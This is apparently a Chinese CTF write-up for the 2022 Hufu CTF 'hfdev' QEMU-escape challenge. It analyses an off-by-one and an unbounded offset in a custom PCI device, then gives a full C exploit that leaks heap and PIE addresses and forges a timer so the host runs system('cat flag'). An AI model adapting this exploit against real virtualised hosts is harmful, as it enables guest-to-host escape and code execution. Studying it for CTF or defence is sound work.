2022-虎符CTF-hfdev

pwn!
off-by-one 藏得挺深啊

漏洞分析

start_qemu.sh 文件如下

#!/bin/sh
#gdb -args \
./qemu-system-x86_64 \
-m 256M \
-kernel bzImage \
-hda rootfs.img \
-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr" \
-monitor /dev/null \
-smp cores=1,threads=1 \
-cpu kvm64,+smep,+smap \
-L pc-bios \
-device hfdev \
-no-reboot \
-snapshot  \
-nographic

可以看到添加了一个叫 hfdev 的设备,将 qemu-system-x86_64 拖入 IDA,函数窗口搜索字符串 hfdev 找到对应函数进行分析

functions

HfdevState

通过逆向分析可以知道,State 大概是这样一个结构体

struct __attribute__((aligned(16))) HfdevState
{
  char pub[2400];
  struct MemoryRegion pmio; // size = 0x100
  uint64_t phy_src;
  uint64_t r_size;
  uint64_t pos;
  uint64_t cur_size;
  int64_t time;
  struct Req req;  // size = 0x400
  char write_buf[768];
  uint64_t can_run_hfdev_func;
  uint64_t req_addr;
  struct QEMUTimer *timer;
  struct QEMUBH *qemubh;
  char padding[];
};

hfdev_class_init

可以看到 vendor_id 和 device_id
hfdev_class_init

利用 lspci,找到对应的设备 resource 信息,可以找到 PMIO 的端口基址
lspci

pci_hfdev_realize

只提供 PMIO
pci_hfdev_realize

同时还可以看到,创建了一个 timer 和 一个 QEMUBH

这两个东西了解不多,翻源码看了看,大致就是都可以用来做异步回调的事情

可以看到 timer 的回调函数是 hfdev_func,QEMUBH 的回调函数是 hfdev_process

hfdev_func

可以看到,timer 的操作是把 req_addr 指向的数据拷贝到 write_buf 中,同时这个偏移 pos 是可以无限增长的,如果可以多次触发 timer,就能让这个越界越到后面的数据,包括 timer 和 bh 的指针
hfdev_func

hfdev_process

开头先从指定的物理地址读取一个结构体
Req

大概长这样:

struct __attribute__((packed)) Req
{
  uint8_t cmd;
  union Body body;
};

union Body
{
  struct Reader reader;
  struct Encoder encoder;
  struct Timer timer;
};


struct __attribute__((packed)) Reader
{
  uint64_t phy_addr;
  uint16_t size;
  char data[1013];
};

struct __attribute__((packed)) Encoder
{
  uint8_t addKey;
  uint8_t xorKey;
  uint16_t subcmd;
  uint16_t enc_num;
  char data[1017];
};

struct __attribute__((packed)) Timer
{
  uint16_t size;
  uint16_t off;
  char data[1019];
};

大致对应三种操作

Reader

拷贝 write_buf 中的数据到指定的物理地址
op reader

Timer

可以看到这里使用了 timer_mod,翻看源码可以了解到这是设置定时器,触发即可回调 hfdev_func,同时这里有个变量决定了是否可以调用 timer_mod,而且 hfdev_func 里面也修改这个变量使其只能调用一次
op timer

Encoder

这里有两种操作,首先 0x2202 对应的是把 data 进行一定的编码后存进 write_buf 里
op encoder 1

0x2022 则是对 write_buf 和 data 异或编码
op encoder 2

同时可以看到这里比较用的是 >=,存在off-by-one(可恶,比赛的时候就没看出来)

hfdev_port_write

写端口这里就是设置各种参数,还有就是触发 bh 的事件回调的操作
hfdev_port_write

hfdev_port_read

读取各种参数,没啥好说的
hfdev_port_read

利用分析

现有的信息:

  1. timer 的 pos 不断增长的过程中可以越界
  2. pos 越界后,利用 reader 可以读到 write_buf 后面的信息,比如 timer 对象指针和 bh 对象指针
  3. pos 的越界,也让 encoder 可以修改 timer 指针和 bh 指针,可以伪造这两个对象劫持程序执行流
  4. encoder 的 0x2022 功能存在 off-by-one

off-by-one 修改 checker

首先得控制 checker (即 can_run_hfdev_func)变量,以进行多次触发 timer,具体步骤如下:

  1. 使用 encoder 0x2202 功能,让 pos = 0x200
  2. 触发 timer,pos += 0x100
  3. encoder 0x2022 功能,off-by-one,修改 write_buf[0x300],这刚好是 checker 变量的位置

代码如下:

set_phy_addr(&req);
set_request_size(0x400);

// leak heap
puts("1. leaking heap");
// getchar();
puts("[*] pos = 0x200");
memset(&req, 0, sizeof(req));
req.encoder.cmd = ENC;
req.encoder.sub_cmd = ENC1;
req.encoder.size = 0x200;
trigger_process();
sleep(1);


puts("[*] pos += 0x100");
memset(&req, 0, sizeof(req));
req.timer.cmd = TIMER;
req.timer.size = 0x100;
req.timer.offset = 0;
trigger_process();
sleep(1);

puts("[*] off-by-one");
memset(&req, 0, sizeof(req));
req.encoder.cmd = ENC;
req.encoder.sub_cmd = ENC2;
req.encoder.size = 0x300;
req.encoder.data[0x300] = 1;
trigger_process();
sleep(1);
printf("checker = %#lx\n", get_checker());

Leak Heap Address

可以控制 checker 后,就可以随意多次触发 timer 了,接着下面的步 leak heap

  1. 触发 timer,pos+=0x10,使其越界到 req_addr 指针的位置
  2. reader,读出 req_addr 指针
puts("[*] pos += 0x10");
memset(&req, 0, sizeof(req));
req.timer.cmd = TIMER;
req.timer.size = 0x10;
req.timer.offset = 0;
trigger_process();
sleep(1);
printf("pos = %#lx\n", get_pos());

puts("[*] reset cache_addr");  // cache_addr/req_addr
memset(&req, 0, sizeof(req));
req.timer.cmd = TIMER;
req.timer.size = 0;
req.timer.offset = 0;
trigger_process();
sleep(1);
printf("pos = %#lx\n", get_pos()); // 0x310

puts("[*] reading data  ...");  // leak &request
memset(&req, 0, sizeof(req));
req.reader.cmd = READ;
req.reader.size = 0x310;
req.reader.ptr = gva_to_gpa(buf);
trigger_process();
sleep(1);

heap = *(uint64_t *)&buf[0x308];
timer_ptr = heap + 0x12b8;
timer_list_ptr = heap - 0x110e8c8;
printf("heap address: %#lx\n", heap);
printf("timer_ptr: %#lx\n", timer_ptr);
printf("timer_list_ptr: %#lx\n", timer_list_ptr);

Leak Code Base

接下来要 bypass PIE,泄露程序基址

  1. 此时 pos=0x310,给 timer 设置的触发延时长一点
  2. 利用 encoder 0x2022 功能,再 timer 触发前,修改 req_addr
  3. timer 触发后,req_addr 已经被修改,再结合 reader 即可任意地址读

修改 req_addr 为 timer 对象 +0x10 偏移处,这里就是回调函数指针 hfdev_func 的地方了,计算偏移可以找到 system plt 的位置:

puts("[*] set time delay");
set_time(5);

puts("[*] trigger timer, pos+=8");
memset(&req, 0, sizeof(req));
req.timer.cmd = TIMER;
req.timer.size = 8;
trigger_process();

puts("[*] modify cache_addr before timer runing");
memset(&req, 0, sizeof(req));
req.encoder.cmd = ENC;
req.encoder.sub_cmd = ENC2;
req.encoder.size = 0x310 - 1;
*(uint64_t *)&req.encoder.data[0x308] = heap ^ (timer_ptr + 0x10);
trigger_process();

puts("waiting for timer");
sleep(5);
// getchar();

puts("[*] reading data  ...");  // leak &request
memset(&req, 0, sizeof(req));
req.reader.cmd = READ;
req.reader.size = 0x318;
req.reader.ptr = gva_to_gpa(buf);
trigger_process();
sleep(1);

hfdev_func = *(uint64_t *)&buf[0x310];
cbase = hfdev_func - 0x381190;
system = cbase + 0x2d6614;
binsh = cbase + 0x869b82;
printf("hfdev_func = %#lx\n", hfdev_func);
printf("cbase = %#lx\n", cbase);
printf("system = %#lx\n", system);
printf("binsh = %#lx\n", binsh);

Hijack Timer

  1. Req 结构体上,构造 fake timer
  2. 此时 pos=0x318,使用 0x2022 功能修改 timer 指针指向 fake timer
  3. 触发 timer 执行 system("cat flag")

Exp

完整 exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <stddef.h>
#include <assert.h>
#include <stddef.h>
 
uint16_t pmio_base = 0xc040;
int pagemap_fd;

struct __attribute__((packed)) RequestRead {
    uint8_t cmd;
    uint64_t ptr;
    uint16_t size;
};

struct __attribute__((packed)) RequestTimer {
    uint8_t cmd;
    uint16_t size;
    uint16_t offset;
};

struct __attribute__((packed))  RequestEnc {
    uint8_t cmd;
    uint8_t add_key;
    uint8_t xor_key;
    uint16_t sub_cmd;
    uint16_t size;
    uint8_t data[0x400-1-6];
};

 
void pmio_write(uint16_t addr,uint32_t val){
    outw(val, addr+pmio_base);
}
 
uint64_t pmio_read(uint16_t addr){
    return (uint32_t)inw(addr+pmio_base);
}
 
 
#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(pagemap_fd, offset, SEEK_SET);
    read(pagemap_fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

void set_phy_addr(void* vaddr)
{
    uint64_t paddr = gva_to_gpa(vaddr);
    pmio_write(2, paddr & 0xffff);
    pmio_write(4, paddr >> 16);
}

void set_request_size(uint32_t size)
{
    pmio_write(6, size);
}

void clear()
{
    pmio_write(8, 0);
}

void set_time(uint32_t time)
{
    pmio_write(10, time);
}

uint64_t get_pos()
{
    return pmio_read(8);
}

uint64_t get_checker()
{
    return pmio_read(6);
}

void trigger_process()
{
    pmio_write(12, 0);
}

#define ENC 0x10
#define READ 0x20
#define TIMER 0x30
#define ENC1 0x2202
#define ENC2 0x2022

int main()
{
    char buf[0x400];
    union {
        struct RequestEnc encoder;
        struct RequestRead reader;
        struct RequestTimer timer;
    } req;

    uint64_t heap;
    uint64_t timer_ptr;
    uint64_t timer_list_ptr;

    uint64_t hfdev_func;
    uint64_t cbase;
    uint64_t system;
    uint64_t binsh;
    uint64_t *fake_timer_ptr;

    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    setbuf(stdin, NULL);

    pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
    if (pagemap_fd < 0) {
        perror("open pagemap");
        exit(-1);
    }

    if (iopl(3) !=0 ) {
        perror("iopl");
        exit(-1);
    }

    set_phy_addr(&req);
    set_request_size(0x400);

    // leak heap
    puts("1. leaking heap");
    // getchar();
    puts("[*] pos = 0x200");
    memset(&req, 0, sizeof(req));
    req.encoder.cmd = ENC;
    req.encoder.sub_cmd = ENC1;
    req.encoder.size = 0x200;
    trigger_process();
    sleep(1);


    puts("[*] pos += 0x100");
    memset(&req, 0, sizeof(req));
    req.timer.cmd = TIMER;
    req.timer.size = 0x100;
    req.timer.offset = 0;
    trigger_process();
    sleep(1);

    puts("[*] off-by-one");
    memset(&req, 0, sizeof(req));
    req.encoder.cmd = ENC;
    req.encoder.sub_cmd = ENC2;
    req.encoder.size = 0x300;
    req.encoder.data[0x300] = 1;
    trigger_process();
    sleep(1);
    printf("checker = %#lx\n", get_checker());

    puts("[*] pos += 0x10");
    memset(&req, 0, sizeof(req));
    req.timer.cmd = TIMER;
    req.timer.size = 0x10;
    req.timer.offset = 0;
    trigger_process();
    sleep(1);
    printf("pos = %#lx\n", get_pos());

    puts("[*] reset cache_addr");  // cache_addr/req_addr
    memset(&req, 0, sizeof(req));
    req.timer.cmd = TIMER;
    req.timer.size = 0;
    req.timer.offset = 0;
    trigger_process();
    sleep(1);
    printf("pos = %#lx\n", get_pos()); // 0x310

    puts("[*] reading data  ...");  // leak &request
    memset(&req, 0, sizeof(req));
    req.reader.cmd = READ;
    req.reader.size = 0x310;
    req.reader.ptr = gva_to_gpa(buf);
    trigger_process();
    sleep(1);

    heap = *(uint64_t *)&buf[0x308];
    timer_ptr = heap + 0x12b8;
    timer_list_ptr = heap - 0x110e8c8;
    printf("heap address: %#lx\n", heap);
    printf("timer_ptr: %#lx\n", timer_ptr);
    printf("timer_list_ptr: %#lx\n", timer_list_ptr);

    // leak pie
    puts("2. leaking pie");
    // getchar();
    puts("[*] off-by-one");
    memset(&req, 0, sizeof(req));
    req.encoder.cmd = ENC;
    req.encoder.sub_cmd = ENC2;
    req.encoder.size = 0x300;
    req.encoder.data[0x300] = 1;
    trigger_process();
    sleep(1);
    printf("checker = %#lx\n", get_checker());
    printf("pos = %#lx\n", get_pos()); // 0x310

    // getchar();

    puts("[*] set time delay");
    set_time(5);

    puts("[*] trigger timer, pos+=8");
    memset(&req, 0, sizeof(req));
    req.timer.cmd = TIMER;
    req.timer.size = 8;
    trigger_process();

    puts("[*] modify cache_addr before timer runing");
    memset(&req, 0, sizeof(req));
    req.encoder.cmd = ENC;
    req.encoder.sub_cmd = ENC2;
    req.encoder.size = 0x310 - 1;
    *(uint64_t *)&req.encoder.data[0x308] = heap ^ (timer_ptr + 0x10);
    trigger_process();

    puts("waiting for timer");
    sleep(5);
    // getchar();

    puts("[*] reading data  ...");  // leak &request
    memset(&req, 0, sizeof(req));
    req.reader.cmd = READ;
    req.reader.size = 0x318;
    req.reader.ptr = gva_to_gpa(buf);
    trigger_process();
    sleep(1);

    hfdev_func = *(uint64_t *)&buf[0x310];
    cbase = hfdev_func - 0x381190;
    system = cbase + 0x2d6614;
    binsh = cbase + 0x869b82;
    printf("hfdev_func = %#lx\n", hfdev_func);
    printf("cbase = %#lx\n", cbase);
    printf("system = %#lx\n", system);
    printf("binsh = %#lx\n", binsh);


    puts("3. fake timer");
    // getchar();
    puts("[*] modify timer ptr");
    memset(&req, 0, sizeof(req));
    req.encoder.cmd = ENC;
    req.encoder.sub_cmd = ENC2;
    req.encoder.size = 0x318 - 1;
    req.encoder.data[0x300] = 1;  // checker
    *(uint64_t *)&req.encoder.data[0x310] = hfdev_func ^ (heap + 0x100);
    trigger_process();
    sleep(1);


    puts("[*] trigger fake timer");
    set_time(1);
    memset(&req, 0, sizeof(req));
    req.timer.cmd = TIMER;
    fake_timer_ptr = (uint64_t *)((uint64_t)&req + 0x100);
    fake_timer_ptr[0] = 0xffffffffffffffff;  // expire_time
    fake_timer_ptr[1] = timer_list_ptr; // timer_list
    fake_timer_ptr[2] = system;  // cb
    fake_timer_ptr[3] = heap + 8; // opaque
    strcpy((char *)&req + 8, "echo getflag! && cat flag");
    trigger_process();
    sleep(1);

    getchar();

    return 0;
}

写在最后

跟踪 timer_mod 源码,发现会调用 timer_list 对象里的某个函数指针,伪造 timer_list 就可以不用等回调直接劫持程序控制流了

调试是真的麻烦,可以多借助条件断点来调试

参考

  1. 感谢 @Mr.R 师傅的 writeup
  2. https://a1ex.online/2021/09/17/qemu%E9%80%83%E9%80%B8%E5%AD%A6%E4%B9%A0/
  3. http://blog.leanote.com/post/xp0int/2022-%E8%99%8E%E7%AC%A6%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8
  4. https://github.com/qemu/qemu/blob/v6.1.1/util/qemu-timer.c#L356